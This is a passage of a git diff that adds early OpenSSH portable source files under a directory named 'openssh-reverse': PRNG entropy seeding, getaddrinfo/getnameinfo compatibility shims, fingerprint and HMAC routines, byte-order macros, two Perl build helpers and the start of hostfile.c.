memset(seed, '\0', sizeof(seed)); + } + close(fd); + + /* stir in the seed, with estimated entropy zero */ + RAND_add(&seed, sizeof(seed), 0.0); +} + + +/* + * entropy command initialisation functions + */ +int +prng_read_commands(char *cmdfilename) +{ + FILE *f; + char *cp; + char line[1024]; + char cmd[1024]; + char path[256]; + int linenum; + int num_cmds = 64; + int cur_cmd = 0; + double est; + entropy_source_t *entcmd; + + f = fopen(cmdfilename, "r"); + if (!f) { + fatal("couldn't read entropy commands file %.100s: %.100s", + cmdfilename, strerror(errno)); + } + + entcmd = (entropy_source_t *)xmalloc(num_cmds * sizeof(entropy_source_t)); + memset(entcmd, '\0', num_cmds * sizeof(entropy_source_t)); + + /* Read in file */ + linenum = 0; + while (fgets(line, sizeof(line), f)) { + int arg; + char *argv; + + linenum++; + + /* skip leading whitespace, test for blank line or comment */ + cp = line + strspn(line, WHITESPACE); + if ((*cp == 0) || (*cp == '#')) + continue; /* done with this line */ + + /* First non-whitespace char should be double quote delimiting */ + /* commandline */ + if (*cp != '"') { + error("bad entropy command, %.100s line %d", cmdfilename, + linenum); + continue; + } + + /* first token, command args (incl. argv[0]) in double quotes */ + cp = strtok(cp, "\""); + if (cp == NULL) { + error("missing or bad command string, %.100s line %d -- ignored", + cmdfilename, linenum); + continue; + } + strlcpy(cmd, cp, sizeof(cmd)); + + /* second token, full command path */ + if ((cp = strtok(NULL, WHITESPACE)) == NULL) { + error("missing command path, %.100s line %d -- ignored", + cmdfilename, linenum); + continue; + } + + /* did configure mark this as dead? */ + if (strncmp("undef", cp, 5) == 0) + continue; + + strlcpy(path, cp, sizeof(path)); + + /* third token, entropy rate estimate for this command */ + if ((cp = strtok(NULL, WHITESPACE)) == NULL) { + error("missing entropy estimate, %.100s line %d -- ignored", + cmdfilename, linenum); + continue; + } + est = strtod(cp, &argv); + + /* end of line */ + if ((cp = strtok(NULL, WHITESPACE)) != NULL) { + error("garbage at end of line %d in %.100s -- ignored", linenum, + cmdfilename); + continue; + } + + /* save the command for debug messages */ + entcmd[cur_cmd].cmdstring = xstrdup(cmd); + + /* split the command args */ + cp = strtok(cmd, WHITESPACE); + arg = 0; + argv = NULL; + do { + char *s = (char*)xmalloc(strlen(cp) + 1); + strncpy(s, cp, strlen(cp) + 1); + entcmd[cur_cmd].args[arg] = s; + arg++; + } while ((arg < 5) && (cp = strtok(NULL, WHITESPACE))); + + if (strtok(NULL, WHITESPACE)) + error("ignored extra command elements (max 5), %.100s line %d", + cmdfilename, linenum); + + /* Copy the command path and rate estimate */ + entcmd[cur_cmd].path = xstrdup(path); + entcmd[cur_cmd].rate = est; + + /* Initialise other values */ + entcmd[cur_cmd].sticky_badness = 1; + + cur_cmd++; + + /* If we've filled the array, reallocate it twice the size */ + /* Do this now because even if this we're on the last command, + we need another slot to mark the last entry */ + if (cur_cmd == num_cmds) { + num_cmds *= 2; + entcmd = xrealloc(entcmd, num_cmds * sizeof(entropy_source_t)); + } + } + + /* zero the last entry */ + memset(&entcmd[cur_cmd], '\0', sizeof(entropy_source_t)); + + /* trim to size */ + entropy_sources = xrealloc(entcmd, (cur_cmd+1) * sizeof(entropy_source_t)); + + debug("Loaded %d entropy commands from %.100s", cur_cmd, cmdfilename); + + return (cur_cmd >= MIN_ENTROPY_SOURCES); +} + +/* + * Write a keyfile at exit + */ +void +prng_seed_cleanup(void *junk) +{ + prng_write_seedfile(); +} + +/* + * Conditionally Seed OpenSSL's random number pool from + * syscalls and program output + */ +void +seed_rng(void) +{ + void *old_sigchld_handler; + + if (!prng_initialised) + fatal("RNG not initialised"); + + /* Make sure some other sigchld handler doesn't reap our entropy */ + /* commands */ + old_sigchld_handler = signal(SIGCHLD, SIG_DFL); + + debug("Seeded RNG with %i bytes from programs", (int)stir_from_programs()); + debug("Seeded RNG with %i bytes from system calls", (int)stir_from_system()); + + if (!RAND_status()) + fatal("Not enough entropy in RNG"); + + signal(SIGCHLD, old_sigchld_handler); + + if (!RAND_status()) + fatal("Couldn't initialise builtin random number generator -- exiting."); +} + +void init_rng(void) +{ + original_uid = getuid(); + + /* Read in collection commands */ + if (!prng_read_commands(SSH_PRNG_COMMAND_FILE)) + fatal("PRNG initialisation failed -- exiting."); + + /* Set ourselves up to save a seed upon exit */ + prng_seed_saved = 0; + prng_read_seedfile(); + fatal_add_cleanup(prng_seed_cleanup, NULL); + atexit(prng_write_seedfile); + + prng_initialised = 1; +} + +#endif /* defined(EGD_SOCKET) || defined(RANDOM_POOL) */ diff --git a/other/openssh-reverse/entropy.h b/other/openssh-reverse/entropy.h new file mode 100644 index 0000000..a6f7bfc --- /dev/null +++ b/other/openssh-reverse/entropy.h @@ -0,0 +1,36 @@ +/* + * Copyright (c) 1999-2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef _RANDOMS_H +#define _RANDOMS_H + +void seed_rng(void); +void init_rng(void); + +#endif /* _RANDOMS_H */ diff --git a/other/openssh-reverse/fake-gai-errnos.h b/other/openssh-reverse/fake-gai-errnos.h new file mode 100644 index 0000000..27f6089 --- /dev/null +++ b/other/openssh-reverse/fake-gai-errnos.h @@ -0,0 +1,12 @@ +/* + * fake library for ssh + * + * This file is included in getaddrinfo.c and getnameinfo.c. + * See getaddrinfo.c and getnameinfo.c. + */ + +/* for old netdb.h */ +#ifndef EAI_NODATA +#define EAI_NODATA 1 +#define EAI_MEMORY 2 +#endif diff --git a/other/openssh-reverse/fake-getaddrinfo.c b/other/openssh-reverse/fake-getaddrinfo.c new file mode 100644 index 0000000..73c122e --- /dev/null +++ b/other/openssh-reverse/fake-getaddrinfo.c @@ -0,0 +1,119 @@ +/* + * fake library for ssh + * + * This file includes getaddrinfo(), freeaddrinfo() and gai_strerror(). + * These funtions are defined in rfc2133. + * + * But these functions are not implemented correctly. The minimum subset + * is implemented for ssh use only. For exapmle, this routine assumes + * that ai_family is AF_INET. Don't use it for another purpose. + */ + +#include "includes.h" +#include "ssh.h" + +#ifndef HAVE_GAI_STRERROR +char *gai_strerror(int ecode) +{ + switch (ecode) { + case EAI_NODATA: + return "no address associated with hostname."; + case EAI_MEMORY: + return "memory allocation failure."; + default: + return "unknown error."; + } +} +#endif /* !HAVE_GAI_STRERROR */ + +#ifndef HAVE_FREEADDRINFO +void freeaddrinfo(struct addrinfo *ai) +{ + struct addrinfo *next; + + do { + next = ai->ai_next; + free(ai); + } while (NULL != (ai = next)); +} +#endif /* !HAVE_FREEADDRINFO */ + +#ifndef HAVE_GETADDRINFO +static struct addrinfo *malloc_ai(int port, u_long addr) +{ + struct addrinfo *ai; + + ai = malloc(sizeof(struct addrinfo) + sizeof(struct sockaddr_in)); + if (ai == NULL) + return(NULL); + + memset(ai, 0, sizeof(struct addrinfo) + sizeof(struct sockaddr_in)); + + ai->ai_addr = (struct sockaddr *)(ai + 1); + /* XXX -- ssh doesn't use sa_len */ + ai->ai_addrlen = sizeof(struct sockaddr_in); + ai->ai_addr->sa_family = ai->ai_family = AF_INET; + + ((struct sockaddr_in *)(ai)->ai_addr)->sin_port = port; + ((struct sockaddr_in *)(ai)->ai_addr)->sin_addr.s_addr = addr; + + return(ai); +} + +int getaddrinfo(const char *hostname, const char *servname, + const struct addrinfo *hints, struct addrinfo **res) +{ + struct addrinfo *cur, *prev = NULL; + struct hostent *hp; + struct in_addr in; + int i, port; + + if (servname) + port = htons(atoi(servname)); + else + port = 0; + + if (hints && hints->ai_flags & AI_PASSIVE) { + if (NULL != (*res = malloc_ai(port, htonl(0x00000000)))) + return 0; + else + return EAI_MEMORY; + } + + if (!hostname) { + if (NULL != (*res = malloc_ai(port, htonl(0x7f000001)))) + return 0; + else + return EAI_MEMORY; + } + + if (inet_aton(hostname, &in)) { + if (NULL != (*res = malloc_ai(port, in.s_addr))) + return 0; + else + return EAI_MEMORY; + } + + hp = gethostbyname(hostname); + if (hp && hp->h_name && hp->h_name[0] && hp->h_addr_list[0]) { + for (i = 0; hp->h_addr_list[i]; i++) { + cur = malloc_ai(port, ((struct in_addr *)hp->h_addr_list[i])->s_addr); + if (cur == NULL) { + if (*res) + freeaddrinfo(*res); + return EAI_MEMORY; + } + + if (prev) + prev->ai_next = cur; + else + *res = cur; + + prev = cur; + } + return 0; + } + + return EAI_NODATA; +} +#endif /* !HAVE_GETADDRINFO */ diff --git a/other/openssh-reverse/fake-getaddrinfo.h b/other/openssh-reverse/fake-getaddrinfo.h new file mode 100644 index 0000000..7da8714 --- /dev/null +++ b/other/openssh-reverse/fake-getaddrinfo.h @@ -0,0 +1,45 @@ +#ifndef _FAKE_GETADDRINFO_H +#define _FAKE_GETADDRINFO_H + +#include "config.h" + +#include "fake-gai-errnos.h" + +#ifndef AI_PASSIVE +# define AI_PASSIVE 1 +# define AI_CANONNAME 2 +#endif + +#ifndef NI_NUMERICHOST +# define NI_NUMERICHOST 2 +# define NI_NAMEREQD 4 +# define NI_NUMERICSERV 8 +#endif + +#ifndef HAVE_STRUCT_ADDRINFO +struct addrinfo { + int ai_flags; /* AI_PASSIVE, AI_CANONNAME */ + int ai_family; /* PF_xxx */ + int ai_socktype; /* SOCK_xxx */ + int ai_protocol; /* 0 or IPPROTO_xxx for IPv4 and IPv6 */ + size_t ai_addrlen; /* length of ai_addr */ + char *ai_canonname; /* canonical name for hostname */ + struct sockaddr *ai_addr; /* binary address */ + struct addrinfo *ai_next; /* next structure in linked list */ +}; +#endif /* !HAVE_STRUCT_ADDRINFO */ + +#ifndef HAVE_GETADDRINFO +int getaddrinfo(const char *hostname, const char *servname, + const struct addrinfo *hints, struct addrinfo **res); +#endif /* !HAVE_GETADDRINFO */ + +#ifndef HAVE_GAI_STRERROR +char *gai_strerror(int ecode); +#endif /* !HAVE_GAI_STRERROR */ + +#ifndef HAVE_FREEADDRINFO +void freeaddrinfo(struct addrinfo *ai); +#endif /* !HAVE_FREEADDRINFO */ + +#endif /* _FAKE_GETADDRINFO_H */ diff --git a/other/openssh-reverse/fake-getnameinfo.c b/other/openssh-reverse/fake-getnameinfo.c new file mode 100644 index 0000000..867cf90 --- /dev/null +++ b/other/openssh-reverse/fake-getnameinfo.c @@ -0,0 +1,53 @@ +/* + * fake library for ssh + * + * This file includes getnameinfo(). + * These funtions are defined in rfc2133. + * + * But these functions are not implemented correctly. The minimum subset + * is implemented for ssh use only. For exapmle, this routine assumes + * that ai_family is AF_INET. Don't use it for another purpose. + */ + +#include "includes.h" +#include "ssh.h" + +#ifndef HAVE_GETNAMEINFO +int getnameinfo(const struct sockaddr *sa, size_t salen, char *host, + size_t hostlen, char *serv, size_t servlen, int flags) +{ + struct sockaddr_in *sin = (struct sockaddr_in *)sa; + struct hostent *hp; + char tmpserv[16]; + + if (serv) { + snprintf(tmpserv, sizeof(tmpserv), "%d", ntohs(sin->sin_port)); + if (strlen(tmpserv) > servlen) + return EAI_MEMORY; + else + strcpy(serv, tmpserv); + } + + if (host) { + if (flags & NI_NUMERICHOST) { + if (strlen(inet_ntoa(sin->sin_addr)) > hostlen) + return EAI_MEMORY; + + strcpy(host, inet_ntoa(sin->sin_addr)); + return 0; + } else { + hp = gethostbyaddr((char *)&sin->sin_addr, + sizeof(struct in_addr), AF_INET); + if (hp == NULL) + return EAI_NODATA; + + if (strlen(hp->h_name) > hostlen) + return EAI_MEMORY; + + strcpy(host, hp->h_name); + return 0; + } + } + return 0; +} +#endif /* !HAVE_GETNAMEINFO */ diff --git a/other/openssh-reverse/fake-getnameinfo.h b/other/openssh-reverse/fake-getnameinfo.h new file mode 100644 index 0000000..0d25f42 --- /dev/null +++ b/other/openssh-reverse/fake-getnameinfo.h @@ -0,0 +1,18 @@ +#ifndef _FAKE_GETNAMEINFO_H +#define _FAKE_GETNAMEINFO_H + +#include "config.h" + +#ifndef HAVE_GETNAMEINFO +int getnameinfo(const struct sockaddr *sa, size_t salen, char *host, + size_t hostlen, char *serv, size_t servlen, int flags); +#endif /* !HAVE_GETNAMEINFO */ + +#ifndef NI_MAXSERV +# define NI_MAXSERV 32 +#endif /* !NI_MAXSERV */ +#ifndef NI_MAXHOST +# define NI_MAXHOST 1025 +#endif /* !NI_MAXHOST */ + +#endif /* _FAKE_GETNAMEINFO_H */ diff --git a/other/openssh-reverse/fake-socket.h b/other/openssh-reverse/fake-socket.h new file mode 100644 index 0000000..0e1624d --- /dev/null +++ b/other/openssh-reverse/fake-socket.h @@ -0,0 +1,49 @@ +#ifndef _FAKE_SOCKET_H +#define _FAKE_SOCKET_H + +#include "config.h" +#include "sys/types.h" + +#ifndef HAVE_STRUCT_SOCKADDR_STORAGE +# define _SS_MAXSIZE 128 /* Implementation specific max size */ +# define _SS_ALIGNSIZE (sizeof(int)) +# define _SS_PAD1SIZE (_SS_ALIGNSIZE - sizeof(u_short)) +# define _SS_PAD2SIZE (_SS_MAXSIZE - (sizeof(u_short) + \ + _SS_PAD1SIZE + _SS_ALIGNSIZE)) + +struct sockaddr_storage { + u_short ss_family; + char __ss_pad1[_SS_PAD1SIZE]; + int __ss_align; + char __ss_pad2[_SS_PAD2SIZE]; +}; +#endif /* !HAVE_STRUCT_SOCKADDR_STORAGE */ + +#ifndef IN6_IS_ADDR_LOOPBACK +# define IN6_IS_ADDR_LOOPBACK(a) \ + (((u_int32_t *) (a))[0] == 0 && ((u_int32_t *) (a))[1] == 0 && \ + ((u_int32_t *) (a))[2] == 0 && ((u_int32_t *) (a))[3] == htonl (1)) +#endif /* !IN6_IS_ADDR_LOOPBACK */ + +#ifndef HAVE_STRUCT_IN6_ADDR +struct in6_addr { + u_int8_t s6_addr[16]; +}; +#endif /* !HAVE_STRUCT_IN6_ADDR */ + +#ifndef HAVE_STRUCT_SOCKADDR_IN6 +struct sockaddr_in6 { + unsigned short sin6_family; + u_int16_t sin6_port; + u_int32_t sin6_flowinfo; + struct in6_addr sin6_addr; +}; +#endif /* !HAVE_STRUCT_SOCKADDR_IN6 */ + +#ifndef AF_INET6 +/* Define it to something that should never appear */ +#define AF_INET6 AF_MAX +#endif + +#endif /* !_FAKE_SOCKET_H */ + diff --git a/other/openssh-reverse/fingerprint.c b/other/openssh-reverse/fingerprint.c new file mode 100644 index 0000000..801f6a6 --- /dev/null +++ b/other/openssh-reverse/fingerprint.c @@ -0,0 +1,69 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: fingerprint.c,v 1.7 2000/06/20 01:39:41 markus Exp $"); + +#include "ssh.h" +#include "xmalloc.h" +#include + +#define FPRINT "%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x" + +/* + * Generate key fingerprint in ascii format. + * Based on ideas and code from Bjoern Groenvall + */ +char * +fingerprint(BIGNUM *e, BIGNUM *n) +{ + static char retval[80]; + MD5_CTX md; + unsigned char d[16]; + unsigned char *buf; + int nlen, elen; + + nlen = BN_num_bytes(n); + elen = BN_num_bytes(e); + + buf = xmalloc(nlen + elen); + + BN_bn2bin(n, buf); + BN_bn2bin(e, buf + nlen); + + MD5_Init(&md); + MD5_Update(&md, buf, nlen + elen); + MD5_Final(d, &md); + snprintf(retval, sizeof(retval), FPRINT, + d[0], d[1], d[2], d[3], d[4], d[5], d[6], d[7], + d[8], d[9], d[10], d[11], d[12], d[13], d[14], d[15]); + memset(buf, 0, nlen + elen); + xfree(buf); + return retval; +} diff --git a/other/openssh-reverse/fingerprint.h b/other/openssh-reverse/fingerprint.h new file mode 100644 index 0000000..3d7bcb3 --- /dev/null +++ b/other/openssh-reverse/fingerprint.h @@ -0,0 +1,34 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +/* RCSID("$OpenBSD: fingerprint.h,v 1.4 2000/06/20 01:39:41 markus Exp $"); */ + +#ifndef FINGERPRINT_H +#define FINGERPRINT_H +char *fingerprint(BIGNUM * e, BIGNUM * n); +#endif diff --git a/other/openssh-reverse/fixpaths b/other/openssh-reverse/fixpaths new file mode 100755 index 0000000..4badd98 --- /dev/null +++ b/other/openssh-reverse/fixpaths @@ -0,0 +1,50 @@ +#!/usr/bin/perl -w +# +# fixpaths - substitute makefile variables into text files + + +$usage = "Usage: $0 [-x] [-Dstring=replacement] [[infile] ...]\n"; + +$ext="out"; + +if (!defined(@ARGV)) { die ("$usage"); } + +# read in the command line and get some definitions +while ($_=$ARGV[0], /^-/) { + if (/^-[Dx]/) { + # definition + shift(@ARGV); + if ( /-D(.*)=(.*)/ ) { + $def{"$1"}=$2; + } elsif ( /-x\s*(\w+)/ ) { + $ext=$1; + } else { + die ("$usage$0: error in command line arguments.\n"); + } + } else { + @cmd = split(//, $ARGV[0]); $opt = $cmd[1]; + die ("$usage$0: unknown option '-$opt'\n"); + } +} # while parsing arguments + +if (!defined(%def)) { + die ("$0: nothing to do - no substitutions listed!\n"); +} + +for $f (@ARGV) { + + $f =~ /(.*\/)*(.*)$/; + $of = $2.".$ext"; + + open(IN, "<$f") || die ("$0: input file $f missing!\n"); + if (open(OUT, ">$of")) { + while () { + for $s (keys(%def)) { + s#$s#$def{$s}#; + } # for $s + print OUT; + } # while + } # if (outfile open) +} # for $f + +exit 0; diff --git a/other/openssh-reverse/fixprogs b/other/openssh-reverse/fixprogs new file mode 100755 index 0000000..4a70d2f --- /dev/null +++ b/other/openssh-reverse/fixprogs @@ -0,0 +1,72 @@ +#!/usr/bin/perl +# +# fixprogs - run through the list of entropy commands and +# score out the losers +# + +$entscale = 50; # divisor for optional entropy measurement + +sub usage { + return("Usage: $0 \n"); +} + +if (($#ARGV == -1) || ($#ARGV>1)) { + die(&usage); +} + +# 'undocumented' option - run ent (in second param) on the output +if ($#ARGV==1) { + $entcmd=$ARGV[1] +} else { + $entcmd = "" +}; + +$infilename = $ARGV[0]; + +if (!open(IN, "<".$infilename)) { + die("Couldn't open input file"); +} +$outfilename=$infilename.".out"; +if (!open(OUT, ">$outfilename")) { + die("Couldn't open output file $outfilename"); +} +@infile=; + +select(OUT); $|=1; select(STDOUT); + +foreach (@infile) { + if (/^\s*\#/ || /^\s*$/) { + print OUT; + next; + } + ($cmd, $path, $est) = /^\"([^\"]+)\"\s+([\w\/_-]+)\s+([\d\.\-]+)/o; + @args = split(/ /, $cmd); + if (! ($pid = fork())) { + # child + close STDIN; close STDOUT; close STDERR; + open STDIN, "/dev/null"; + open STDERR, ">/dev/null"; + exec $path @args; + exit 1; # shouldn't be here + } + # parent + waitpid ($pid, 0); $ret=$? >> 8; + + if ($ret != 0) { + $path = "undef"; + } else { + if ($entcmd ne "") { + # now try to run ent on the command + $mostargs=join(" ", splice(@args,1)); + print "Evaluating '$path $mostargs'\n"; + @ent = qx{$path $mostargs | $entcmd -b -t}; + @ent = grep(/^1,/, @ent); + ($null, $null, $rate) = split(/,/, $ent[0]); + $est = $rate / $entscale; # scale the estimate back + } + } + print OUT "\"$cmd\" $path $est\n"; +} + +close(IN); diff --git a/other/openssh-reverse/getput.h b/other/openssh-reverse/getput.h new file mode 100644 index 0000000..5f6b141 --- /dev/null +++ b/other/openssh-reverse/getput.h @@ -0,0 +1,63 @@ +/* + * + * getput.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Jun 28 22:36:30 1995 ylo + * + * Macros for storing and retrieving data in msb first and lsb first order. + * + */ + +/* RCSID("$OpenBSD: getput.h,v 1.4 2000/06/20 01:39:41 markus Exp $"); */ + +#ifndef GETPUT_H +#define GETPUT_H + +/*------------ macros for storing/extracting msb first words -------------*/ + +#define GET_32BIT(cp) (((unsigned long)(unsigned char)(cp)[0] << 24) | \ + ((unsigned long)(unsigned char)(cp)[1] << 16) | \ + ((unsigned long)(unsigned char)(cp)[2] << 8) | \ + ((unsigned long)(unsigned char)(cp)[3])) + +#define GET_16BIT(cp) (((unsigned long)(unsigned char)(cp)[0] << 8) | \ + ((unsigned long)(unsigned char)(cp)[1])) + +#define PUT_32BIT(cp, value) do { \ + (cp)[0] = (value) >> 24; \ + (cp)[1] = (value) >> 16; \ + (cp)[2] = (value) >> 8; \ + (cp)[3] = (value); } while (0) + +#define PUT_16BIT(cp, value) do { \ + (cp)[0] = (value) >> 8; \ + (cp)[1] = (value); } while (0) + +/*------------ macros for storing/extracting lsb first words -------------*/ + +#define GET_32BIT_LSB_FIRST(cp) \ + (((unsigned long)(unsigned char)(cp)[0]) | \ + ((unsigned long)(unsigned char)(cp)[1] << 8) | \ + ((unsigned long)(unsigned char)(cp)[2] << 16) | \ + ((unsigned long)(unsigned char)(cp)[3] << 24)) + +#define GET_16BIT_LSB_FIRST(cp) \ + (((unsigned long)(unsigned char)(cp)[0]) | \ + ((unsigned long)(unsigned char)(cp)[1] << 8)) + +#define PUT_32BIT_LSB_FIRST(cp, value) do { \ + (cp)[0] = (value); \ + (cp)[1] = (value) >> 8; \ + (cp)[2] = (value) >> 16; \ + (cp)[3] = (value) >> 24; } while (0) + +#define PUT_16BIT_LSB_FIRST(cp, value) do { \ + (cp)[0] = (value); \ + (cp)[1] = (value) >> 8; } while (0) + +#endif /* GETPUT_H */ diff --git a/other/openssh-reverse/hmac.c b/other/openssh-reverse/hmac.c new file mode 100644 index 0000000..27590ec --- /dev/null +++ b/other/openssh-reverse/hmac.c @@ -0,0 +1,59 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: hmac.c,v 1.3 2000/06/20 01:39:41 markus Exp $"); + +#include "xmalloc.h" +#include "ssh.h" +#include "getput.h" + +#include + +unsigned char * +hmac( + EVP_MD *evp_md, + unsigned int seqno, + unsigned char *data, int datalen, + unsigned char *key, int keylen) +{ + HMAC_CTX c; + static unsigned char m[EVP_MAX_MD_SIZE]; + unsigned char b[4]; + + if (key == NULL) + fatal("hmac: no key"); + HMAC_Init(&c, key, keylen, evp_md); + PUT_32BIT(b, seqno); + HMAC_Update(&c, b, sizeof b); + HMAC_Update(&c, data, datalen); + HMAC_Final(&c, m, NULL); + HMAC_cleanup(&c); + return(m); +} diff --git a/other/openssh-reverse/hmac.h b/other/openssh-reverse/hmac.h new file mode 100644 index 0000000..fb68029 --- /dev/null +++ b/other/openssh-reverse/hmac.h @@ -0,0 +1,11 @@ +#ifndef HMAC_H +#define HMAC_H + +unsigned char * +hmac( + EVP_MD *evp_md, + unsigned int seqno, + unsigned char *data, int datalen, + unsigned char *key, int len); + +#endif diff --git a/other/openssh-reverse/hostfile.c b/other/openssh-reverse/hostfile.c new file mode 100644 index 0000000..f58e1d6 --- /dev/null +++ b/other/openssh-reverse/hostfile.c @@ -0,0 +1,194 @@ +/* + * + * hostfile.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Thu Jun 29 07:10:56 1995 ylo + * + * Functions for manipulating the known hosts files. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: hostfile.c,v 1.19 2000/06/06 19:32:13 markus Exp $"); + +#include "packet.h" +#include "match.h" +#include "ssh.h" +#include +#include +#include "key.h" +#include "hostfile.h" + +/* + * Parses an RSA (number of bits, e, n) or DSA key from a string. Moves the + * pointer over the key. Skips any whitespace at the beginning and at end. + */ + +int +hostfile_read_key(char **cpp, unsigned int *bitsp, Key *ret) +{ + unsigned int bits; + char *cp; + + /* Skip leading whitespace. */ + for (cp = *cpp; *cp == ' ' || *cp == '\t'; cp++) + ; + + bits = key_read(ret, &cp); + if (bits == 0) + return 0; + + /* Skip trailing whitespace. */ + for (; *cp == ' ' || *cp == '\t'; cp++) + ; + + /* Return results. */ + *cpp = cp; + *bitsp = bits; + return 1; +} + +int +auth_rsa_read_key(char **cpp, unsigned int *bitsp, BIGNUM * e, BIGNUM * n) +{ + Key *k = key_new(KEY_RSA); + int ret = hostfile_read_key(cpp, bitsp, k); + BN_copy(e, 